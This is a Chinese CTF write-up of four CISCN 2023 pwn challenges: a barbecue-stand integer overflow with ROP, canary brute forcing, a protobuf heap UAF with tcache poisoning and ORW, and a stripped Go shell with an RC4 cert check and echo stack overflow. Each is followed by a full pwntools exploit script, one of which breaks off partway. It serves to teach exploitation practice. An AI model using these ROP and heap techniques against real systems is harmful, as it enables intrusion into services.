CISCN 2023 初赛pwn部分wp & 复现
前言 第一次打国赛,题目基本大部分都是见过的类型吧,可是还是再多看一眼就会爆炸,烧烤摊儿和funcanary基本可以秒,还有一道加了点protobuf的堆orw比赛时没出,因为时间不够了,有点慌,打__free_hook
的时候链表伪造成了一坨,然后就是扣了所有符号表的静态链接go题(正好被go贼多的函数恶心到了,但是Wings✌直接调出来了,直接膜拜),貌似是我的IDA没装好,装的插件都用不了,赛后换了个IDA使用finger直接可以还原出来一部分函数名。最后盲pwn用侧信道没想到,还有个PDC 0解,根本没看,这两道完全不能理解,爬了。
0x00. 烧烤摊儿 静态链接程序,先整形溢出,然后在改名选项中存在栈溢出,直接ROP getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.log_level = 'debug' io = remote('39.107.137.13' ,20469 ) elf = ELF('./shaokao' ) def DEBUG (): attach(io) pause() def menu (choice ): io.recvuntil(b'> ' ) io.sendline(str (choice).encode()) syscall = 0x402404 pop_rdi = 0x40264f pop_rsi = 0x40a67e pop_rax = 0x458827 pop_rdx_rbx = 0x4a404b menu(1 ) io.sendline(b'1' ) io.sendline(b'-999999999' ) menu(4 ) menu(5 ) payload = b'/bin/sh\x00' +b'A' *0x20 +p64(pop_rax)+p64(59 )+p64(pop_rdi)+p64(0x4e60f0 )+p64(pop_rsi)+p64(0 )+p64(pop_rdx_rbx)+p64(0 )+p64(0 )+p64(syscall) io.sendline(payload) io.interactive()
0x01. funcanary 多线程爆破canary,然后还需要partial overwrite小爆破一手
打远程太慢了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context.log_level = 'debug' io = remote('47.94.206.10' , 24045 ) elf = ELF('./funcanary' ) def DEBUG (): attach(io) pause() def rec (): io.recvuntil(b'welcome\n' ) i = 0 canary = b'\x00' for j in range (1 , 8 ): i = 0 for i in range (0xff ): rec() io.send(b'A' *0x68 +canary+p8(i)) msg = io.recvline() if b'stack' in msg: print ("error" ) print (j, i, canary) else : canary += p8(i) print (j, i, canary) break i = 0 for i in range (0x10 ): rec() io.send(b'A' *0x68 +canary+b'A' *8 +b'\x31' +p8(2 +0x10 *i))
0x02. StrangeTalkBot 这道题要想和程序交互,必须用它对应的格式,至于格式是啥,这道题把所有判断格式的逻辑一起塞在了一个函数里面了
1 2 3 4 5 6 7 8 9 10 11 12 while ( 1 ) { memset (&input, 0 , 0x400 uLL); puts ("You can try to have friendly communication with me now: " ); input_len = read(0 , &input, 0x400 uLL); v4 = (_QWORD *)sub_192D(0LL , input_len, &input); if ( !v4 ) break ; sub_155D(v4[3 ], v4[4 ], v4[5 ], v4[6 ], v4[7 ]); } sub_1329(0LL , input_len); }
也就是sub_192D
函数中,在sub_155D
中是堆菜单
当时看到"BINARYBF-c/BINARYBF-c.c"
时以为还有brainfuck,但是我复制了一部分伪代码给bing看的时候,它说这段代码使用了protobuf
,而且Wings也说是用了protobuf
,然后就去装库了,装了好长时间,最后网上找了个在线工具可以直接根据格式给出对应序列化后的值,https://yura415.github.io/js-protobuf-encode-decode/ 例如:
1 2 3 4 5 6 { "actionid" : 1 ,"msgidx" :2 ,"msgsize" :3 ,"msgcontent" :">>>>>>>>" }
1 2 3 4 5 6 7 message Devicemsg { required sint32 actionid; required sint32 msgidx; required sint32 msgsize; required string msgcontent; }
然后要做的就是堆orw了,在free时存在UAF,size不能大于0xf0,index不能大于0x20
可以直接unsorted bin
泄露libc,然后tcache poison
打__free_hook
为一个特殊gadget
1 0x0000000000151990 : mov rdx, qword ptr [rdi + 8 ] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20 ]
在堆块上对应位置构造setcontext+61
和ROP链就可以orw了(可以用工具构造,不过我比较习惯调试+手动)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *context(arch='x86_64' , log_level='debug' ) io = process('./talkbot' ) elf = ELF('./talkbot' ) libc = ELF('./libc-2.31.so' ) def DEBUG (): attach(io) pause() def rec (): io.recvuntil(b'You can try to have friendly communication with me now: \n' ) rec() io.send(b'\x08\x02\x10\x00\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x02\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x04\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x06\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x08\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x0a\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x0c\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x0e\x18\xe0\x03\x22\x01\x41' ) rec() io.send(b'\x08\x02\x10\x10\x18\x20\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x00\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x02\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x04\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x06\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x08\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x0a\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x0c\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x08\x10\x0e\x18\xC0\x02\x22\x01\x41' ) rec() io.send(b'\x08\x06\x10\x0e\x18\x00\x22\x01\x41' ) io.recv(0x70 ) libcbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x1ecbe0 log.success('libcbase ===> ' +hex (libcbase)) __free_hook = libcbase + libc.symbols['__free_hook' ] setcontext = libcbase + libc.symbols['setcontext' ]+61 rec() io.send(b'\x08\x06\x10\x02\x18\x00\x22\x01\x41' ) heapbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x310 log.success('heapbase ===> ' +hex (heapbase)) rsp = heapbase+0x760 ret = libcbase+0x23b6b rec() io.send(b'\x08\x04\x10\x04\x18\xe0\x03\x22\xf0\x01' +(p64(heapbase+0x5f0 )+p64(heapbase+0x5f0 )+p64(0 )*2 +p64(setcontext)+p64(0 )*15 +p64(rsp)+p64(ret)).ljust(0xf0 , b'A' )) gadget = libcbase+0x151990 rec() io.send(b'\x08\x04\x10\x0a\x18\x10\x22\x10' +p64(__free_hook)+p64(0 )) open_ = libcbase+libc.symbols['open' ] read_ = libcbase+libc.symbols['read' ] puts = libcbase+libc.symbols['puts' ] pop_rdi = libcbase+0x23b6a pop_rsi = libcbase+0x2601f pop_rdx = libcbase+0x142c92 flag = heapbase+0x848 rec() io.send(b'\x08\x04\x10\x06\x18\xe0\x03\x22\xf0\x01' \ +p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0 )+p64(pop_rdx)+p64(0 )+p64(open_)\ +p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x50 )+p64(read_)\ +p64(pop_rdi)+p64(flag)+p64(puts)+p64(0 )*12 +b'flag' +p32(0 ))\ rec() io.send(b'\x08\x02\x10\x14\x18\xe0\x03\x22\x08' +p64(gadget)) ''' 0x00007fafa4536f5d <+61>: mov rsp,QWORD PTR [rdx+0xa0] 0x00007fafa4536f64 <+68>: mov rbx,QWORD PTR [rdx+0x80] 0x00007fafa4536f6b <+75>: mov rbp,QWORD PTR [rdx+0x78] 0x00007fafa4536f6f <+79>: mov r12,QWORD PTR [rdx+0x48] 0x00007fafa4536f73 <+83>: mov r13,QWORD PTR [rdx+0x50] 0x00007fafa4536f77 <+87>: mov r14,QWORD PTR [rdx+0x58] 0x00007fafa4536f7b <+91>: mov r15,QWORD PTR [rdx+0x60] ''' DEBUG() rec() io.send(b'\x08\x08\x10\x04\x18\x10\x22\x00' ) io.interactive()
0x03. Shell we go 一个扣掉所有符号的静态链接go程序(不用finger修复一下函数符号是真的一坨)
直接看程序连main函数都找不到,先运行下,根据ciscnshell
跳转到一个最可能是main函数的地方
main函数基本就如下几步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 while ( 1 ){ print_str(); input = get_input(1LL , 1LL ); if ( v9 ) { exec(); } v10 = sub_4C1900(); if ( v10 ) { exec(); } }
在调试时发现程序会进入sub_4c1900
函数中,该函数中似乎有一部分无法正确反编译,因此需要看汇编
我们的目的是通过cert,因此使用cert查找字符串,找到了一个有趣的字符串Cert complete, you can explore more
通过引用找到了一个函数,很显然这个函数就是我们要到达的验证成功的地方,该函数为
1 2 3 4 5 6 7 8 9 10 qmemcpy(v9, "F1nallB1rd3K3y" , 14 ); crypto_rc4_NewCipher(); crypto_rc4__Cipher_XORKeyStream(); v7 = v10; result = (_QWORD *)local_encoding_base64__Encoding_EncodeToString(); if ( !qword_5D1128 && v7 == 16 && *result == 'Sbp8XILJ' && result[1 ] == 'GaW/uZYv' ){ result = (_QWORD *)fmt_Fprintf(); qword_5D1128 = 1LL ; }
可以看到使用了rc4加密,加密后还进行了base64编码,通过交叉引用找到了sub_4c1900
引用该函数的地方
我们需要通过如下判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 .text:00000000004C19CD 48 8D 0D A4 78 04 00 lea rcx, unk_509278 .text:00000000004C19D4 BF 01 00 00 00 mov edi, 1 .text:00000000004C19D9 31 F6 xor esi, esi .text:00000000004C19DB 49 C7 C0 FF FF FF FF mov r8, 0FFFFFFFFFFFFFFFFh .text:00000000004C19E2 E8 D9 CB FA FF call strings_genSplit .text:00000000004C19E2 .text:00000000004C19E7 48 83 3D 39 F7 10 00 00 cmp cs:qword_5D1128, 0 .text:00000000004C19EF 75 33 jnz short loc_4C1A24 .text:00000000004C19EF .text:00000000004C19F1 48 85 DB test rbx, rbx .text:00000000004C19F4 0F 86 2B 03 00 00 jbe loc_4C1D25 .text:00000000004C19F4 .text:00000000004C19FA 48 8B 10 mov rdx, [rax] .text:00000000004C19FD 48 83 78 08 04 cmp qword ptr [rax+8], 4 .text:00000000004C1A02 75 08 jnz short loc_4C1A0C .text:00000000004C1A02 .text:00000000004C1A04 81 3A 63 65 72 74 cmp dword ptr [rdx], 'trec' .text:00000000004C1A0A 74 18 jz short loc_4C1A24 ... .text:00000000004C1A24 loc_4C1A24: ; CODE XREF: sub_4C1900+EF↑j .text:00000000004C1A24 ; sub_4C1900+10A↑j .text:00000000004C1A24 48 85 DB test rbx, rbx .text:00000000004C1A27 0F 86 EE 02 00 00 jbe loc_4C1D1B .text:00000000004C1A27 .text:00000000004C1A2D 48 8B 10 mov rdx, [rax] .text:00000000004C1A30 4C 8B 40 08 mov r8, [rax+8] .text:00000000004C1A34 49 83 F8 03 cmp r8, 3 .text:00000000004C1A38 0F 8F 8B 01 00 00 jg loc_4C1BC9 ... .text:00000000004C1BC9 loc_4C1BC9: ; CODE XREF: sub_4C1900+138↑j .text:00000000004C1BC9 49 83 F8 04 cmp r8, 4 .text:00000000004C1BCD 0F 85 B3 00 00 00 jnz loc_4C1C86 .text:00000000004C1BCD .text:00000000004C1BD3 81 3A 63 65 72 74 cmp dword ptr [rdx], 'trec' .text:00000000004C1BD9 75 7E jnz short loc_4C1C59 .text:00000000004C1BD9 .text:00000000004C1BDB 0F 1F 44 00 00 nop dword ptr [rax+rax+00h] .text:00000000004C1BE0 48 83 FB 03 cmp rbx, 3 .text:00000000004C1BE4 75 5B jnz short loc_4C1C41 .text:00000000004C1BE4 .text:00000000004C1BE6 48 8B 48 10 mov rcx, [rax+10h] .text:00000000004C1BEA 48 83 78 18 09 cmp qword ptr [rax+18h], 9 .text:00000000004C1BEF 75 1A jnz short loc_4C1C0B .text:00000000004C1BEF .text:00000000004C1BF1 48 BA 6E 41 63 44 73 4D 69 63 mov rdx, 'ciMsDcAn' .text:00000000004C1BFB 0F 1F 44 00 00 nop dword ptr [rax+rax+00h] .text:00000000004C1C00 48 39 11 cmp [rcx], rdx .text:00000000004C1C03 75 06 jnz short loc_4C1C0B .text:00000000004C1C03 .text:00000000004C1C05 80 79 08 4E cmp byte ptr [rcx+8], 4Eh ; 'N' .text:00000000004C1C09 74 18 jz short loc_4C1C23 ... .text:00000000004C1C23 loc_4C1C23: ; CODE XREF: sub_4C1900+309↑j .text:00000000004C1C23 48 8B 48 20 mov rcx, [rax+20h] .text:00000000004C1C27 48 8B 58 28 mov rbx, [rax+28h] .text:00000000004C1C2B 48 89 C8 mov rax, rcx .text:00000000004C1C2E E8 6D F8 FF FF call previl_judge
可以看到程序会先分割我们输入的字符串,然后比较第一个字符串是否为cert
,比较第二个字符串是否为nAcDsMicN
,然后进入之后的判断函数
在判断函数中,会使用F1nallB1rd3K3y
当作key来对我们输入的第三个参数进行加密,并进行base64编码,然后和正确值比较,成功则给予权限
解密JLIX8pbSvYZu/WaG
后获得S33UAga1n@#!
,因此我们需要输入cert nAcDsMicN S33UAga1n@#!
来进行验证,之后就可以正常交互了。
可用的命令为ls
,echo
,cat
,whoami
,exit
,cd
,相关汇编代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 cd: .text:00000000004C1A4A 66 81 3A 63 64 cmp word ptr [rdx], 'dc' .text:00000000004C1A4F 75 38 jnz short loc_4C1A89 .text:00000000004C1A4F .text:00000000004C1A51 48 83 FB 02 cmp rbx, 2 .text:00000000004C1A55 7D 18 jge short loc_4C1A6F ... .text:00000000004C1A6F 48 8B 48 10 mov rcx, [rax+10h] .text:00000000004C1A73 48 8B 58 18 mov rbx, [rax+18h] .text:00000000004C1A77 48 89 C8 mov rax, rcx .text:00000000004C1A7A E8 01 53 FD FF call os_Chdir ls: .text:00000000004C1A89 66 81 3A 6C 73 cmp word ptr [rdx], 'sl' .text:00000000004C1A8E 0F 85 54 02 00 00 jnz loc_4C1CE8 .text:00000000004C1A8E .text:00000000004C1A94 44 0F 11 7C 24 60 movups [rsp+78h+var_18], xmm15 .text:00000000004C1A9A 48 8D 15 FD 34 02 00 lea rdx, aAl ; "-al" .text:00000000004C1AA1 48 89 54 24 60 mov qword ptr [rsp+78h+var_18], rdx .text:00000000004C1AA6 48 C7 44 24 68 03 00 00 00 mov qword ptr [rsp+78h+var_18+8], 3 .text:00000000004C1AAF 48 8D 05 B5 34 02 00 lea rax, aLs ; "ls" .text:00000000004C1AB6 BB 02 00 00 00 mov ebx, 2 .text:00000000004C1ABB 48 8D 4C 24 60 lea rcx, [rsp+78h+var_18] .text:00000000004C1AC0 BF 01 00 00 00 mov edi, 1 .text:00000000004C1AC5 48 89 FE mov rsi, rdi .text:00000000004C1AC8 E8 53 21 FE FF call sub_4A3C20 cat: .text:00000000004C1B33 66 81 3A 63 61 cmp word ptr [rdx], 'ac' .text:00000000004C1B38 0F 85 AA 01 00 00 jnz loc_4C1CE8 .text:00000000004C1B38 .text:00000000004C1B3E 80 7A 02 74 cmp byte ptr [rdx+2], 74h ; 't' .text:00000000004C1B42 0F 85 A0 01 00 00 jnz loc_4C1CE8 .text:00000000004C1B42 .text:00000000004C1B48 48 83 FB 01 cmp rbx, 1 .text:00000000004C1B4C 0F 86 BC 01 00 00 jbe loc_4C1D0E .text:00000000004C1B4C .text:00000000004C1B52 48 8B 50 10 mov rdx, [rax+10h] .text:00000000004C1B56 48 83 78 18 04 cmp qword ptr [rax+18h], 4 .text:00000000004C1B5B 75 08 jnz short loc_4C1B65 .text:00000000004C1B5B .text:00000000004C1B5D 81 3A 66 6C 61 67 cmp dword ptr [rdx], 'galf' .text:00000000004C1B63 74 18 jz short loc_4C1B7D ... .text:00000000004C1B7D loc_4C1B7D: ; CODE XREF: sub_4C1900+263↑j .text:00000000004C1B7D 44 0F 11 7C 24 40 movups [rsp+78h+var_38], xmm15 .text:00000000004C1B83 48 8D 15 56 B7 00 00 lea rdx, unk_4CD2E0 .text:00000000004C1B8A 48 89 54 24 40 mov qword ptr [rsp+78h+var_38], rdx .text:00000000004C1B8F 48 8D 15 1A 78 04 00 lea rdx, off_5093B0 ; "flag{Tm93YXkuWW91IFRydXN0IE1lIFRoaXMgVG"... .text:00000000004C1B96 48 89 54 24 48 mov qword ptr [rsp+78h+var_38+8], rdx .text:00000000004C1B9B 48 8B 1D 86 10 0E 00 mov rbx, cs:qword_5A2C28 .text:00000000004C1BA2 48 8D 05 AF 7D 04 00 lea rax, off_509958 .text:00000000004C1BA9 48 8D 4C 24 40 lea rcx, [rsp+78h+var_38] .text:00000000004C1BAE BF 01 00 00 00 mov edi, 1 .text:00000000004C1BB3 48 89 FE mov rsi, rdi .text:00000000004C1BB6 E8 25 96 FD FF call print_str echo: .text:00000000004C1C59 81 3A 65 63 68 6F cmp dword ptr [rdx], 'ohce' .text:00000000004C1C5F 90 nop .text:00000000004C1C60 74 11 jz short loc_4C1C73 ... .text:00000000004C1C73 loc_4C1C73: ; CODE XREF: sub_4C1900+360↑j .text:00000000004C1C73 E8 A8 FA FF FF call sub_4C1720 exit: .text:00000000004C1C62 81 3A 65 78 69 74 cmp dword ptr [rdx], 'tixe' .text:00000000004C1C68 75 7E jnz short loc_4C1CE8 .text:00000000004C1C68 .text:00000000004C1C6A 31 C0 xor eax, eax .text:00000000004C1C6C E8 AF 5D FD FF call sub_497A20 whoami: .text:00000000004C1C8C 81 3A 77 68 6F 61 cmp dword ptr [rdx], 'aohw' .text:00000000004C1C92 75 54 jnz short loc_4C1CE8 .text:00000000004C1C92 .text:00000000004C1C94 66 81 7A 04 6D 69 cmp word ptr [rdx+4], 'im' .text:00000000004C1C9A 75 4C jnz short loc_4C1CE8 .text:00000000004C1C9A .text:00000000004C1C9C 44 0F 11 7C 24 50 movups [rsp+78h+var_28], xmm15 .text:00000000004C1CA2 48 8D 15 37 B6 00 00 lea rdx, unk_4CD2E0 .text:00000000004C1CA9 48 89 54 24 50 mov qword ptr [rsp+78h+var_28], rdx .text:00000000004C1CAE 48 8D 15 EB 76 04 00 lea rdx, off_5093A0 ; "nightingale" .text:00000000004C1CB5 48 89 54 24 58 mov qword ptr [rsp+78h+var_28+8], rdx .text:00000000004C1CBA 48 8B 1D 67 0F 0E 00 mov rbx, cs:qword_5A2C28 .text:00000000004C1CC1 48 8D 05 90 7C 04 00 lea rax, off_509958 .text:00000000004C1CC8 48 8D 4C 24 50 lea rcx, [rsp+78h+var_28] .text:00000000004C1CCD BF 01 00 00 00 mov edi, 1 .text:00000000004C1CD2 48 89 FE mov rsi, rdi .text:00000000004C1CD5 E8 06 95 FD FF call print_str
cd命令直接调用了库函数,ls命令会以ls -la
执行,使用cat命令会提示Permission denial,而cat flag时会给你一个假的flag,echo命令call了一个函数去执行,这里看一下这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 v10 = "unk_func0b04:" ; while ( v8 < v7 ){ v17 = v8; v22 = v6; v3 = (__int64)v6[1 ]; v2 = *v6; v11 = runtime_concatstring2(); if ( v3 > 0x200 ) return 0LL ; v6 = v22 + 2 ; v7 = v18; v9 = (__int64)v10; v10 = (const char *)v11; v8 = v17 + 1 ; } v16 = v9; v23 = runtime_stringtoslicebyte(); v24 = (unsigned __int64)v10; v25 = v13; for ( i = 0LL ; (__int64)i < v16; ++i ){ if ( i >= v24 ) sub_462420((__int64)v2, v3, v24); v15 = *(unsigned __int8 *)(v23 + i); if ( (_BYTE)v15 != '+' ) { if ( i >= 0x400 ) sub_462420((__int64)v2, v3, v15); *((_BYTE *)&v19 + i) = v15; } } sub_4C1620();
硬看这个函数的话,有点丑,可以直接输入进行调试,这里会将后面用空格隔开的参数连接起来(每个参数的长度不超过0x200),并拷贝到栈中,其中会跳过+
符号,因此可以直接覆盖栈返回地址进行ROP. 打本地可以直接读入/bin/sh,然后getshell。但是远程只能orw得到flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.log_level = 'debug' io = process('./shell' ) elf = ELF('./shell' ) def DEBUG (): attach(io, 'b *0x4c1887' ) pause() pop_rdi = 0x444fec pop_rsi = 0x41e818 pop_rdx = 0x49e11d pop_rax = 0x40d9e6 syscall = 0x40328c flag = 0x4c3a6d bss = 0x5d0000 io.recvuntil(b'ciscnshell$ ' ) io.sendline(b'cert nAcDsMicN S33UAga1n@#!' ) io.recvuntil(b'nightingale# ' ) payload = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall)\ +p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50 ) + p64(pop_rax) + p64(0 ) + p64(syscall)\ +p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50 ) + p64(pop_rax) + p64(1 ) + p64(syscall) io.sendline(b'echo ' +b'A' *0x100 +b' ' +b'B' *0xf0 +b'+' *0x10 +b' ' +b'+' *0x10 +b'C' *0x13 +payload) io.interactive()